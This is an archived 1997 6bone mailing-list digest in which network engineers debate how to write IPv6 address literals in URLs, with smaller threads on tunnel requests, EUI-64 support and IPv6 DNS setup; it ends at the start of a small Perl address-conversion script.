>    without the ":"s, i.e., just 32 contiguous hex digits, which is even
>    less user-friendly than the standad represenatation, but at least
>    usable by humans in a pinch and certainly usable by automatons.
>
> => I see two problems with this new proposal:

Certainly.  As far as I know, no one has come up with a problem-free
proposal.

>  - it doesn't work with standard cut and paste

Sure it does -- you just have to edit the string a little after you paste.
:-)

>  - it is still ambiguous because it has the same syntax than
>    a name (ie a label of a DNS host name).

So maybe the proposal included putting the hex string in quotes or something.
I was just reporting what I thought was a decision by some community that
had hashed this issue out.  Treat it as a rumor until someone else
substantiates it.

Steve



From majordom@ISI.EDU  Tue Oct 14 04:08:28 1997
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References: Your message of Tue, 14 Oct 1997 06:45:10 PDT.            
 <v03110700b0692626a4be@[171.69.199.124]>
Mime-Version: 1.0
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Date: Tue, 14 Oct 1997 11:08:28 -0700
To: Francis Dupont <Francis.Dupont@inria.fr>
From: Steve Deering <deering@cisco.com>
Subject: Re: query re IPv6 URL format
Cc: brian@hursley.ibm.com, 6bone@ISI.EDU
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At 9:40 AM -0700 10/14/97, Francis Dupont wrote:
>  - it is still ambiguous because it has the same syntax than
>    a name (ie a label of a DNS host name).

What's the limit on the length of a DNS label (not the whole DNS name,
but the thing that goes between the dots in a DNS name)?  Is it less than
32, by any chance?

Steve



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Date: Tue, 14 Oct 1997 11:47:01 -0700
To: brian@hursley.ibm.com
From: Bob Hinden <hinden@Ipsilon.COM>
Subject: Re: query re IPv6 URL format
Cc: deering@cisco.com (Steve Deering), Francis.Dupont@inria.fr,
        brian@hursley.ibm.com, 6bone@ISI.EDU
In-Reply-To: <9710141423.AA86521@hursley.ibm.com>
References: <v03110700b0692626a4be@[171.69.199.124]>
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Brian,

>If that was the decision then we need to codify it and tell
>the world. I could live with it, if the URL parsers can handle
>it. I'll check that with the URL guys.
>

Maybe I am missing something, but...

The IPv4 syntax is:

	http://111.222.333.444/~bc

It would seem to me that while

	http://aaaa:bbbb::cccc:dddd/~bc

has multiple ":"'s in it, given left to right parsing, I don't see anything
ambiguous.  The first thing after the "//" is either a DNS name, IPv4
address, or an IPv6 address.  If the current parsers can distinguish
between "hursley.ibm.com" and "111.222.333.444", both of which use dots as
separators, then could they also deal with IPv6 addresses with colons?

Why can't the parsers learn how to do this?  They need to be changed to
handle IPv6 addresses anyway.

Bob


From majordom@ISI.EDU  Tue Oct 14 22:53:24 1997
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Message-Id: <199710141853.UAA04426@givry.inria.fr>
From: Francis Dupont <Francis.Dupont@inria.fr>
To: Steve Deering <deering@cisco.com>
Cc: brian@hursley.ibm.com, 6bone@ISI.EDU
Subject: Re: query re IPv6 URL format 
In-Reply-To: Your message of Tue, 14 Oct 1997 11:08:28 PDT.
             <v03110714b06964ba58ac@[171.69.116.90]> 
Date: Tue, 14 Oct 1997 20:53:24 +0200
Sender: owner-6bone@ISI.EDU
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Status: RO

 In your previous mail you wrote:

   At 9:40 AM -0700 10/14/97, Francis Dupont wrote:
   >  - it is still ambiguous because it has the same syntax than
   >    a name (ie a label of a DNS host name).
   
   What's the limit on the length of a DNS label (not the whole DNS name,
   but the thing that goes between the dots in a DNS name)?  Is it less than
   32, by any chance?
   
=> the limit is less than 64: lost!

Regards

Francis.Dupont@inria.fr

   
   

From majordom@ISI.EDU  Tue Oct 14 08:53:26 1997
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To: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: query re IPv6 URL format
Date: Tue, 14 Oct 1997 13:53:26 -0500
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Status: RO

Brian,

I brought this up quite some time ago and there was a little
discussion, in which you participated, but no "decision" as such that
I recall.  Here's my original message and a summary ...

------- Forwarded Messages

To: iesg@cnri.reston.va.us, ipng@sunroof.eng.sun.com
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: clash between PS rfc1884 and PS rfc1783
Date: Tue, 16 Jan 96 14:19:31 -0600

The text representation of IPv6 addresses specified in item 2 of
section 2.2 of RFC1884:

        For example the following addresses:

             1080:0:0:0:8:800:200C:417A  a unicast address
	     [...]
        may be represented as:

             1080::8:800:200C:417A       a unicast address

results in a possible ambiguity if such an IPv6 address appears in a
URL constructed according to RFC1738 (section 3.1):

       While the syntax for the rest of the URL may vary depending on the
       particular scheme selected, URL schemes that involve the direct use
       of an IP-based protocol to a specified host on the Internet use a
       common syntax for the scheme-specific data:

	    //<user>:<password>@<host>:<port>/<url-path>

(While RFC1738 only mentions IPv4 addresses appearing as <host>, it
will be widely presumed that IPv6 addresses may also be used.)

If the last 16-bit component of an IPv6 address used as <host> in a
URL contains only digits 0 through 9, it may look as if a port number
is present.  Conversely, if a port number is present and has no more
than four digits, it will resemble a part of the IPv6 address.



Solutions:

1. Change the textual representation of IPv6 addresses.

2. Forbid the "::" abbreviation of IPv6 addresses in URLs and other
contexts in which a port number might be appended with a colon.
(Then counting the fields will reveal whether a port number is
present.)

3. Forbid the use of literal IPv6 addresses in URLs.

4. Change the syntax of URLs.


All of these have drawbacks.  I suggest that #1 is better than #2,
and #3 and #4 are out of the question.
_________________________________________________________
Matt Crawford          crawdad@fnal.gov          Fermilab
  PGP: D5 27 83 7A 25 25 7D FB  09 3C BA 33 71 C4 DA 6A

------- Message 2

To: iesg@CNRI.Reston.VA.US, ipng@sunroof.Eng.Sun.COM
Cc: Robert Elz <kre@munnari.OZ.AU>,
    huitema@pax.inria.fr (Christian Huitema),
    Brian Carpenter CERN-CN <brian@dxcoms.cern.ch>,
    Francis Dupont	<Francis.Dupont@inria.fr>,
    Geert Jan de Groot <GeertJan.deGroot@ripe.net>,
    John Gardiner Myers <jgm+@CMU.EDU>
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: (IPng 1170) Re: clash between PS rfc1884 and PS rfc1783 
In-reply-to: Your message of Wed, 17 Jan 96 14:40:05 +0100.
             <v02120d08ad229015562c@[138.96.24.178]> 
Date: Wed, 17 Jan 96 09:46:16 -0600

I like kre's idea of writing 32 unadorned hex digits, but it only
works for email where there is some surrounding marker.  Dropped into
the URL format (or typed (ugh!) at a command line, you can't tell a
32 digits IPv6 address from a 32 character short-form hostname.

I like even more Francis' idea of writing literal IPv6 address as
names in ip6.int.  However, the times you'd want literal addresses
are exactly the times you suspect DNS may not be fully operational.
(As is the case now: ns.isi.edu. can't find ip6.int.: Server failed.)
So the magic would have to be wired into gethostbyname() or in the
resolver.  (Concoct a AAAA record on the spot in answer to a AAAA
query on a name in ip6.int.)

Does the gain justify the ugliness?

Steve's suggestion of using the URL quoting mechanism (so that
1080::8:800:200C:417A becomes 1080%3A%3A8%3A800%3A200C%3A417A)
works for URLs, but it starts us down a piecemeal-solution path.
_________________________________________________________
Matt Crawford          crawdad@fnal.gov          Fermilab
  PGP: D5 27 83 7A 25 25 7D FB  09 3C BA 33 71 C4 DA 6A

------- End of Forwarded Messages

From majordom@ISI.EDU  Tue Oct 14 23:08:33 1997
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Bob Hinden <hinden@ipsilon.com>
Cc: brian@hursley.ibm.com, deering@cisco.com (Steve Deering), 6bone@ISI.EDU
Subject: Re: query re IPv6 URL format 
In-Reply-To: Your message of Tue, 14 Oct 1997 11:47:01 PDT.
             <3.0.3.32.19971014114701.008d0a60@mailhost.ipsilon.com> 
Date: Tue, 14 Oct 1997 21:08:33 +0200
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 In your previous mail you wrote:

   Brian,
   
   >If that was the decision then we need to codify it and tell
   >the world. I could live with it, if the URL parsers can handle
   >it. I'll check that with the URL guys.
   >
   
   Maybe I am missing something, but...
   
   The IPv4 syntax is:
   
   	http://111.222.333.444/~bc
   
   It would seem to me that while
   
   	http://aaaa:bbbb::cccc:dddd/~bc
   
   has multiple ":"'s in it, given left to right parsing, I don't see anything
   ambiguous.  The first thing after the "//" is either a DNS name, IPv4
   address, or an IPv6 address.  If the current parsers can distinguish
   between "hursley.ibm.com" and "111.222.333.444", both of which use dots as
   separators, then could they also deal with IPv6 addresses with colons?
   
=> it is not true (just look at the RFC 1738 or for instance lynx
documentation). According to the last one, URLs can be:

http://host:port/path?searchpart#fragment
           ^
telnet://user:password@host:port
             ^             ^

ftp://username:password@host:port/path;type=[D,I, or A]
              ^             ^
...
And dont' forget we need the same thing for RFC 821/822, X11, ...

   Why can't the parsers learn how to do this?  They need to be changed to
   handle IPv6 addresses anyway.
   
=> it is very easy and as far as I know enough to support DNS names
(and the terrible RES_USE_INET6 stuff). Personally I think the right
thing to do is to kill literals (IPv4 literals too)!

Regards

Francis.Dupont@inria.fr

PS: the URL format http://host:port/... is very common and perhaps
will become more common if ISPs put a bad priority to the 80 TCP port (:-).

From majordom@ISI.EDU  Tue Oct 14 12:50:52 1997
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To: Steve Deering <deering@Cisco.COM>
Cc: Francis Dupont    <Francis.Dupont@inria.fr>, brian@hursley.ibm.com,
        6bone@ISI.EDU
Subject: Re: query re IPv6 URL format 
In-Reply-To: Your message of "Tue, 14 Oct 1997 11:08:28 PDT."
             <v03110714b06964ba58ac@[171.69.116.90]> 
Date: Tue, 14 Oct 1997 16:50:52 -0400
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>What's the limit on the length of a DNS label (not the whole DNS name,
>but the thing that goes between the dots in a DNS name)?  Is it less than
>32, by any chance?

labels can be 63 octets

But the entire name can only be 255 octets.

/jim

From majordom@ISI.EDU  Wed Oct 15 01:32:56 1997
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Date: Tue, 14 Oct 1997 23:32:56 +0200
From: Lars Fenneberg <lf@elemental.net>
To: Jan Marius Evang <jane@iaeste.no>
Cc: 6bone@ISI.EDU
Subject: Re: reconnecting IPv6 site.
References: <v0310281eb0631448faa9@[128.3.9.22]> <m2u3eqw0gq.fsf@la1ad.uio.no>
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Hi!

Quoting Jan Marius Evang (jane@iaeste.no):
>   >> Bob Fink writes:
> 
>   BF> Yes it has, and you need new implementations to use it - ones
>   BF> that support AGGR and EUI-64. The 6bone web pages for hookups
>   BF> has some info on this. Take a look:
> 
> OK. I suppose the newest Linux kernels and Cisco IOS (IPv6) has this?

	You'll need one of the recent CVS snapshots of David Miller. Alexey has
	added EUI-64 support to them. See ftp.kernel.org:/pub/linux/kernel/davem.

> Or is it just the tools?

	If you run radvd on Linux you'll need a new version. I'm currently
	working on a new release which will allow 64bit prefixes but it's
	not public yet. If you need it please contact me via private email.

Lars.
-- 
Lars Fenneberg, lf@elemental.net (private), lf@cityline.net (work)
pgp fingerprint  D1 28 F1 FF 3C 6B C0 27   CC 9C 6C 09 34 0A 55 18

From majordom@ISI.EDU  Wed Oct 15 03:38:03 1997
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Date: Wed, 15 Oct 1997 01:38:03 +0200 (MESZ)
From: Kai Schulte <sp0005@aixrs1.hrz.uni-essen.de>
To: Steve Deering <deering@cisco.com>
Cc: Francis Dupont <Francis.Dupont@inria.fr>, brian@hursley.ibm.com,
        6bone@ISI.EDU
Subject: Re: query re IPv6 URL format
In-Reply-To: <v03110714b06964ba58ac@[171.69.116.90]>
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On Tue, 14 Oct 1997, Steve Deering wrote:

> What's the limit on the length of a DNS label (not the whole DNS name,
> but the thing that goes between the dots in a DNS name)?  Is it less than
> 32, by any chance?

Why not use dots instead of colons and some prefix (e.g. another dot)
or square brackets (like in the old ka9q nos days) to distinguish them
from dns names?

Kai


From majordom@ISI.EDU  Tue Oct 14 10:26:08 1997
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Date: Tue, 14 Oct 1997 17:26:08 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new DNS config info
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Status: RO

For those interested in how to setup an IPv6-capable DNS please look at the
excellent new writeup on the hookups page:

	http://www.6bone.net/6bone_hookup.html


Thanks to Bertrand Buclin of AT&T Labs Europe for the new writeup, as well
as David Lee of Virginia Tech for the existing one.  Both are given...take
your choice.

As always, comments to the mailer on these, or any, hookup information.


Thanks,

Bob



From majordom@ISI.EDU  Wed Oct 15 09:36:41 1997
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From: "Gils van, Jan" <jang@sps.nl>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Cc: "'janvg@knoware.nl'" <janvg@knoware.nl>
Subject: IPv6 for NetBSD
Date: Wed, 15 Oct 1997 08:36:41 +0100
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	Hi,

Thanks for reading, can someone tell me if there is a IPv6 source for
NetBSD and what are is
the experince so far.
I am working with NetBSD 1.2.1 kernel on a i386 platform.

Thanks in advance

Jan H. van Gils

e-Mail janvg@knoware.nl / pe1mhp@amsat.org

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Date: Wed, 15 Oct 1997 11:32:09 +0100
Message-Id: <9710151032.AA19944@hursley.ibm.com>
From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: query re IPv6 URL format
To: hinden@Ipsilon.COM (Bob Hinden)
Cc: brian@hursley.ibm.com, deering@cisco.com, Francis.Dupont@inria.fr,
        6bone@ISI.EDU
In-Reply-To: <3.0.3.32.19971014114701.008d0a60@mailhost.ipsilon.com> from "Bob Hinden" at Oct 14, 97 11:47:01 am
Reply-To: brian@hursley.ibm.com
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The colons break both most existing URL parsers and the BNF
describing URLs. Eliminating the :: does not fix it. Believe me. 
I spent an hour on the BNF.

  Brian

>- Bob Hinden said:
> 
> Brian,
> 
> >If that was the decision then we need to codify it and tell
> >the world. I could live with it, if the URL parsers can handle
> >it. I'll check that with the URL guys.
> >
> 
> Maybe I am missing something, but...
> 
> The IPv4 syntax is:
> 
> 	http://111.222.333.444/~bc
> 
> It would seem to me that while
> 
> 	http://aaaa:bbbb::cccc:dddd/~bc
> 
> has multiple ":"'s in it, given left to right parsing, I don't see anything
> ambiguous.  The first thing after the "//" is either a DNS name, IPv4
> address, or an IPv6 address.  If the current parsers can distinguish
> between "hursley.ibm.com" and "111.222.333.444", both of which use dots as
> separators, then could they also deal with IPv6 addresses with colons?
> 
> Why can't the parsers learn how to do this?  They need to be changed to
> handle IPv6 addresses anyway.
> 
> Bob
> 
> 


From majordom@ISI.EDU  Wed Oct 15 12:37:34 1997
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Date: Wed, 15 Oct 1997 11:37:34 +0100
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From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: query re IPv6 URL format
To: crawdad@fnal.gov (Matt Crawford)
Cc: brian@hursley.ibm.com, 6bone@ISI.EDU
In-Reply-To: <199710141853.NAA21340@gungnir.fnal.gov> from "Matt Crawford" at Oct 14, 97 01:53:26 pm
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Sadly I believe that only

> 1. Change the textual representation of IPv6 addresses. 

will work. The colons kill us.

  Brian

>- Matt Crawford said:
> 
> Brian,
> 
> I brought this up quite some time ago and there was a little
> discussion, in which you participated, but no "decision" as such that
> I recall.  Here's my original message and a summary ...
> 
> ------- Forwarded Messages
> 
> To: iesg@cnri.reston.va.us, ipng@sunroof.eng.sun.com
> From: "Matt Crawford" <crawdad@fnal.gov>
> Subject: clash between PS rfc1884 and PS rfc1783
> Date: Tue, 16 Jan 96 14:19:31 -0600
> 
> The text representation of IPv6 addresses specified in item 2 of
> section 2.2 of RFC1884:
> 
>         For example the following addresses:
> 
>              1080:0:0:0:8:800:200C:417A  a unicast address
> 	     [...]
>         may be represented as:
> 
>              1080::8:800:200C:417A       a unicast address
> 
> results in a possible ambiguity if such an IPv6 address appears in a
> URL constructed according to RFC1738 (section 3.1):
> 
>        While the syntax for the rest of the URL may vary depending on the
>        particular scheme selected, URL schemes that involve the direct use
>        of an IP-based protocol to a specified host on the Internet use a
>        common syntax for the scheme-specific data:
> 
> 	    //<user>:<password>@<host>:<port>/<url-path>
> 
> (While RFC1738 only mentions IPv4 addresses appearing as <host>, it
> will be widely presumed that IPv6 addresses may also be used.)
> 
> If the last 16-bit component of an IPv6 address used as <host> in a
> URL contains only digits 0 through 9, it may look as if a port number
> is present.  Conversely, if a port number is present and has no more
> than four digits, it will resemble a part of the IPv6 address.
> 
> 
> 
> Solutions:
> 
> 1. Change the textual representation of IPv6 addresses.
> 
> 2. Forbid the "::" abbreviation of IPv6 addresses in URLs and other
> contexts in which a port number might be appended with a colon.
> (Then counting the fields will reveal whether a port number is
> present.)
> 
> 3. Forbid the use of literal IPv6 addresses in URLs.
> 
> 4. Change the syntax of URLs.
> 
> 
> All of these have drawbacks.  I suggest that #1 is better than #2,
> and #3 and #4 are out of the question.
> _________________________________________________________
> Matt Crawford          crawdad@fnal.gov          Fermilab
>   PGP: D5 27 83 7A 25 25 7D FB  09 3C BA 33 71 C4 DA 6A
> 
> ------- Message 2
> 
> To: iesg@CNRI.Reston.VA.US, ipng@sunroof.Eng.Sun.COM
> Cc: Robert Elz <kre@munnari.OZ.AU>,
>     huitema@pax.inria.fr (Christian Huitema),
>     Brian Carpenter CERN-CN <brian@dxcoms.cern.ch>,
>     Francis Dupont	<Francis.Dupont@inria.fr>,
>     Geert Jan de Groot <GeertJan.deGroot@ripe.net>,
>     John Gardiner Myers <jgm+@CMU.EDU>
> From: "Matt Crawford" <crawdad@fnal.gov>
> Subject: Re: (IPng 1170) Re: clash between PS rfc1884 and PS rfc1783 
> In-reply-to: Your message of Wed, 17 Jan 96 14:40:05 +0100.
>              <v02120d08ad229015562c@[138.96.24.178]> 
> Date: Wed, 17 Jan 96 09:46:16 -0600
> 
> I like kre's idea of writing 32 unadorned hex digits, but it only
> works for email where there is some surrounding marker.  Dropped into
> the URL format (or typed (ugh!) at a command line, you can't tell a
> 32 digits IPv6 address from a 32 character short-form hostname.
> 
> I like even more Francis' idea of writing literal IPv6 address as
> names in ip6.int.  However, the times you'd want literal addresses
> are exactly the times you suspect DNS may not be fully operational.
> (As is the case now: ns.isi.edu. can't find ip6.int.: Server failed.)
> So the magic would have to be wired into gethostbyname() or in the
> resolver.  (Concoct a AAAA record on the spot in answer to a AAAA
> query on a name in ip6.int.)
> 
> Does the gain justify the ugliness?
> 
> Steve's suggestion of using the URL quoting mechanism (so that
> 1080::8:800:200C:417A becomes 1080%3A%3A8%3A800%3A200C%3A417A)
> works for URLs, but it starts us down a piecemeal-solution path.
> _________________________________________________________
> Matt Crawford          crawdad@fnal.gov          Fermilab
>   PGP: D5 27 83 7A 25 25 7D FB  09 3C BA 33 71 C4 DA 6A
> 
> ------- End of Forwarded Messages
> 


From majordom@ISI.EDU  Wed Oct 15 12:39:27 1997
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Date: Wed, 15 Oct 1997 11:39:27 +0100
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From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: query re IPv6 URL format
To: Francis.Dupont@inria.fr (Francis Dupont)
Cc: hinden@ipsilon.com, brian@hursley.ibm.com, deering@cisco.com,
        6bone@ISI.EDU
In-Reply-To: <199710141908.VAA04143@givry.inria.fr> from "Francis Dupont" at Oct 14, 97 09:08:33 pm
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I've had that discussion with the URL syntax authors. They are
unanimous that the colons are not parseable in practice.

  Brian

>- Francis Dupont said:
> 
>  In your previous mail you wrote:
> 
>    Brian,
>    
>    >If that was the decision then we need to codify it and tell
>    >the world. I could live with it, if the URL parsers can handle
>    >it. I'll check that with the URL guys.
>    >
>    
>    Maybe I am missing something, but...
>    
>    The IPv4 syntax is:
>    
>    	http://111.222.333.444/~bc
>    
>    It would seem to me that while
>    
>    	http://aaaa:bbbb::cccc:dddd/~bc
>    
>    has multiple ":"'s in it, given left to right parsing, I don't see anything
>    ambiguous.  The first thing after the "//" is either a DNS name, IPv4
>    address, or an IPv6 address.  If the current parsers can distinguish
>    between "hursley.ibm.com" and "111.222.333.444", both of which use dots as
>    separators, then could they also deal with IPv6 addresses with colons?
>    
> => it is not true (just look at the RFC 1738 or for instance lynx
> documentation). According to the last one, URLs can be:
> 
> http://host:port/path?searchpart#fragment
>            ^
> telnet://user:password@host:port
>              ^             ^
> 
> ftp://username:password@host:port/path;type=[D,I, or A]
>               ^             ^
> ...
> And dont' forget we need the same thing for RFC 821/822, X11, ...
> 
>    Why can't the parsers learn how to do this?  They need to be changed to
>    handle IPv6 addresses anyway.
>    
> => it is very easy and as far as I know enough to support DNS names
> (and the terrible RES_USE_INET6 stuff). Personally I think the right
> thing to do is to kill literals (IPv4 literals too)!
> 
> Regards
> 
> Francis.Dupont@inria.fr
> 
> PS: the URL format http://host:port/... is very common and perhaps
> will become more common if ISPs put a bad priority to the 80 TCP port (:-).
> 


From majordom@ISI.EDU  Wed Oct 15 12:36:07 1997
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Message-Id: <9710151036.AA82643@hursley.ibm.com>
From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: query re IPv6 URL format
To: deering@cisco.com (Steve Deering)
Cc: Francis.Dupont@inria.fr, brian@hursley.ibm.com, 6bone@ISI.EDU
In-Reply-To: <v03110714b06964ba58ac@[171.69.116.90]> from "Steve Deering" at Oct 14, 97 11:08:28 am
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>- Steve Deering said:
> 
> What's the limit on the length of a DNS label (not the whole DNS name,
> but the thing that goes between the dots in a DNS name)?  Is it less than
> 32, by any chance?

32 is not a problem, but a hex number looks like a name and gets
sent off for DNS resolving. For example when I ask Netscape for
http://abcdef1234567890abcdef1234567890
it attaches my default domain and says:

Fatal Error 500

Can't Access Document: 
     http://abcdef1234567890abcdef1234567890.hursley.ibm.com/. 

Reason: Can't locate remote host: 
     abcdef1234567890abcdef1234567890.hursley.ibm.com. 

  Brian

From majordom@ISI.EDU  Wed Oct 15 00:27:38 1997
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-- 
"When in doubt, Twirl..."  -anon

From majordom@ISI.EDU  Wed Oct 15 01:27:49 1997
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References: <v03110714b06964ba58ac@[171.69.116.90]> from "Steve Deering"
 at Oct 14, 97 11:08:28 am
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To: brian@hursley.ibm.com
From: Steve Deering <deering@cisco.com>
Subject: Re: query re IPv6 URL format
Cc: 6bone@ISI.EDU
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At 3:35 AM -0700 10/15/97, (Brian E Carpenter) wrote:
> >- Steve Deering said:
> > What's the limit on the length of a DNS label (not the whole DNS name,
> > but the thing that goes between the dots in a DNS name)?  Is it less than
> > 32, by any chance?
>
> 32 is not a problem, but a hex number looks like a name and gets
> sent off for DNS resolving...

I wasn't thinking of it as a problem, but rather as a possible solution.
If DNS labels happened to have a length restriction of less than 32, then
an IPv6 address represented as 32 hex digits would be distinguishable
from a DNS label by the fact that it was longer than a legal DNS label.

Unfortunately, the length limit on DNS labels turns out to be greater
than 32.

Steve



From majordom@ISI.EDU  Wed Oct 15 01:51:53 1997
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References: <199710141853.NAA21340@gungnir.fnal.gov> from "Matt Crawford"
 at Oct 14, 97 01:53:26 pm
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Date: Wed, 15 Oct 1997 08:51:53 -0700
To: brian@hursley.ibm.com
From: Steve Deering <deering@cisco.com>
Subject: Re: query re IPv6 URL format
Cc: crawdad@fnal.gov (Matt Crawford), 6bone@ISI.EDU
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At 3:37 AM -0700 10/15/97, (Brian E Carpenter) wrote:
> Sadly I believe that only
>
> > 1. Change the textual representation of IPv6 addresses.
>
> will work. The colons kill us.

Changing to some other punctuation character would probably just kill us
somewhere else.  I think it's highly unlikely that we can come up with a
representation that will be transparently compatible with all existing
"grammars" that may encounter IP addresses (e.g., command-line parsers,
configuration file languages, email parsers, ...).

For the URL case in particular, is there not a character or pair of
characters that could be defined as delimiting an IPv6 (or IPv4/6) address
literal, e.g., [aaaa:bbbb::cc:d] or ^aaaa:bbbb::cc:d^ or something similar?
An address plus port number would then look like [aaaa:bbbb::cc:d]:8080.

Steve



From majordom@ISI.EDU  Wed Oct 15 02:07:23 1997
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Date: Wed, 15 Oct 1997 09:07:23 -0700 (PDT)
From: Iddo Jambi Ganbar <jambi@oceana.nlanr.net>
To: 6bone@ISI.EDU
Cc: k claffy <kc@nlanr.net>
Subject: Request for tunnel
In-Reply-To: <19971014224446.14354@nlanr.net>
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   hi
 
   we're interested in connecting the vBNS (from SDSC to start with)
   to the 6bone. We're using FreeBSD2.2 with the CAIRN IPv6 code,
   a sparc (solaris2.5.1) and possibly a Linux box.
   I can't tell from the list who might be best located,
   do the ESnet connections come down to San Diego? 
   If anyone knows a more topologicaly sensible place for
   us to tunnel to, please holler -- 
 Thanx
   jambi and kc
   
 


From majordom@ISI.EDU  Wed Oct 15 03:46:44 1997
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Date: Wed, 15 Oct 1997 10:46:44 -0700
To: brian@hursley.ibm.com
From: Bob Hinden <hinden@Ipsilon.COM>
Subject: Re: query re IPv6 URL format
Cc: 6bone@ISI.EDU
In-Reply-To: <v03110710b06a8feaa3d6@[171.69.199.124]>
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 <v03110714b06964ba58ac@[171.69.116.90]>
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Brian,

Let me see if I can continue to show how little I know about URL's.....

Would some sort of escape or quoting work?  Something like:

  http://[aaaa:bbbb:cccc::zzzz]/~bc
  http://[aaaa:bbbb:cccc::zzzz]:80/~bc
  http://[aaaabbbbccccddddeeeeffffgggghhhh]:80/~bc

 or

  http://"aaaa:bbbb:cccc::zzzz"/~bc
  http://"aaaa:bbbb:cccc::zzzz":80/~bc
  http://"aaaabbbbccccddddeeeeffffgggghhhh":80/~bc

 or (very ugly)

  http://aaaa&:bbbb&:cccc&:&:zzzz/~bc
  http://aaaa&:bbbb&:cccc&:&:zzzz:80/~bc

or (very ugly)

  http://&aaaabbbbccccddddeeeeffffgggghhhh:80/~bc

etc.

Bob





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Message-Id: <199710151808.UAA05883@givry.inria.fr>
From: Francis Dupont <Francis.Dupont@inria.fr>
To: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>
Cc: "'Bob Hinden'" <hinden@ipsilon.com>,
        "'brian@hursley.ibm.com'" <brian@hursley.ibm.com>,
        "'deering@cisco.com'" <deering@cisco.com>,
        "'6bone@ISI.EDU'" <6bone@ISI.EDU>,
        "'ipng@sunroof.eng.sun.com'" <ipng@sunroof.eng.sun.com>
Subject: Re: query re IPv6 URL format 
In-Reply-To: Your message of Wed, 15 Oct 1997 10:16:39 BST.
             <c=US%a=_%p=ATT%l=GVAMSX1-971015091639Z-5699@eurdirsync.be.att.com> 
Date: Wed, 15 Oct 1997 20:08:07 +0200
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

 In your previous mail you wrote:

   > Personally I think the right thing to do is to kill literals
   > (IPv4 literals too)!
   
   Although user-friendliness calls for killing literals, as you suggest
   Francis, I believe it would be a serious mistake to do it:
   
   ... (some good arguments)
   
   Literals are an essential feature that we must preserve, else it will
   become impossible to operate the networks.
   
=> I have changed my mind. I'd still like to kill literals but without
killing the functionality. The best proposal I saw is to use names in
the ip6.int domain. They have strictly the same information than literals,
but they are full standard DNS names and very easy to recognize, parse
and use (ie reverse). I know only one drawback: one has to use a tool
in order to get it (here I use "nslookup -debug -type=ptr" and cut & paste).
For instance the address:
    3ffe:306:1051:8300:220:feff:fe00:8781
becomes the name:
    1.8.7.8.0.0.e.f.f.f.e.f.0.2.2.0.0.0.3.8.1.5.0.1.6.0.3.0.e.f.f.3.ip6.int
Another advantage is this solution is general and can be used for
all the cases (URL, X11, RFC 822, ...).

Regards

Francis.Dupont@inria.fr

From majordom@ISI.EDU  Wed Oct 15 11:15:47 1997
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To: Francis Dupont <Francis.Dupont@inria.fr>
Cc: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>,
        "'Bob Hinden'" <hinden@ipsilon.com>,
        "'brian@hursley.ibm.com'" <brian@hursley.ibm.com>,
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        "'6bone@ISI.EDU'" <6bone@ISI.EDU>,
        "'ipng@sunroof.eng.sun.com'" <ipng@sunroof.Eng.Sun.COM>
Subject: Re: (IPng 4677) Re: query re IPv6 URL format 
In-Reply-To: Your message of "Wed, 15 Oct 1997 20:08:07 +0200."
             <199710151808.UAA05883@givry.inria.fr> 
Date: Wed, 15 Oct 1997 15:15:47 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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Status: RO

>     3ffe:306:1051:8300:220:feff:fe00:8781
      3ffe%3a306%3a1051%3a8300%3a220%3afeff%3afe00%3a8781

I think that this should work in url. -- Masaki

From majordom@ISI.EDU  Wed Oct 15 06:50:32 1997
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To: Iddo Jambi Ganbar <jambi@oceana.nlanr.net>, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Request for tunnel
Cc: k claffy <kc@nlanr.net>
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At 9:07 AM -0700 10/15/97, Iddo Jambi Ganbar wrote:
>
>   hi
>
>   we're interested in connecting the vBNS (from SDSC to start with)
>   to the 6bone. We're using FreeBSD2.2 with the CAIRN IPv6 code,
>   a sparc (solaris2.5.1) and possibly a Linux box.
>   I can't tell from the list who might be best located,
>   do the ESnet connections come down to San Diego?
>   If anyone knows a more topologicaly sensible place for
>   us to tunnel to, please holler --

ESnet's 6bone router is in Berkeley.  Barring that, it's not a bad place to
connect for your purposes.  ISI-LAP, 3COM, Cisco and Digital-CA are quite
reasonable west coast points as well.

Is the vBNS connecting, or NLANR?

If vBNS would like to join, I can issue a pTLA.

Else it might be best just to take a delegation from an existing pTLA
(e.g., from the list I gave above).


Thanks,

Bob



From majordom@ISI.EDU  Wed Oct 15 07:07:34 1997
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Message-Id: <199710152107.OAA06010@lookout.nsd.3com.com>
To: brian@hursley.ibm.com
Cc: Francis.Dupont@inria.fr (Francis Dupont), hinden@ipsilon.com,
        deering@cisco.com, 6bone@ISI.EDU
Subject: Re: query re IPv6 URL format
In-Reply-To: <9710151039.AA99181@hursley.ibm.com>
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	<9710151039.AA99181@hursley.ibm.com>
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How about defining a DNS domain ipv6addr and
allowing an IPv6 address x1:x2:x3:x4:x5:x6:x7:x8 to be typed as
a dns name x1.x2.x3.x4.x5.x6.x7.x8.ipv6addr.

Disclaimer : I am very ignorant about DNS.

Quaizar

From majordom@ISI.EDU  Thu Oct 16 18:30:56 1997
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From: Keith Owens <kaos@ocs.com.au>
To: Francis Dupont <Francis.Dupont@inria.fr>
Cc: 6bone@ISI.EDU, ipng@sunroof.eng.sun.com
Subject: Re: query re IPv6 URL format 
In-Reply-To: Your message of "Wed, 15 Oct 1997 20:08:07 +0200."
             <199710151808.UAA05883@givry.inria.fr> 
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On Wed, 15 Oct 1997 20:08:07 +0200, 
Francis Dupont <Francis.Dupont@inria.fr> wrote:
>I know only one drawback: one has to use a tool
>in order to get it (here I use "nslookup -debug -type=ptr" and cut & paste).

Try this, I got fed up with typing as well :)

#!/usr/bin/perl -w
#
#	ip6_int
#
#       Convert valid IPv6 address to ip6.int PTR value.  Convert valid
